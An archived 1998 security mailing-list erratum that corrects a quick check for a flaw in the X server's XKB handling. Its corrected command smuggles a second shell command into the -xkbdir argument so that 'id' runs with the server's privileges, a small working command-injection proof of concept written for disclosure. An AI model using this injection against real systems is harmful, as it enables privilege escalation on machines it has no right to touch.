serious security problem in XKB--ERRATUM

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Next message: Rafal Wojtczuk: "An old ld-linux.so hole"
Previous message: Pavel Kankovsky: "serious security problem in XKB"

Pavel Kankovsky (peak@kerberos.troja.mff.cuni.cz)
Wed, 04 Feb 1998 10:39:28 +0100

> Quick vulnerability check:
>
> $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
> [exit X server]
> $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

This should read:

$ Xserver -xkbdir ':;id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

--Pavel Kankovsky aka Peak [ Boycott Microsoft -- http://www.vcnet.com/bms ]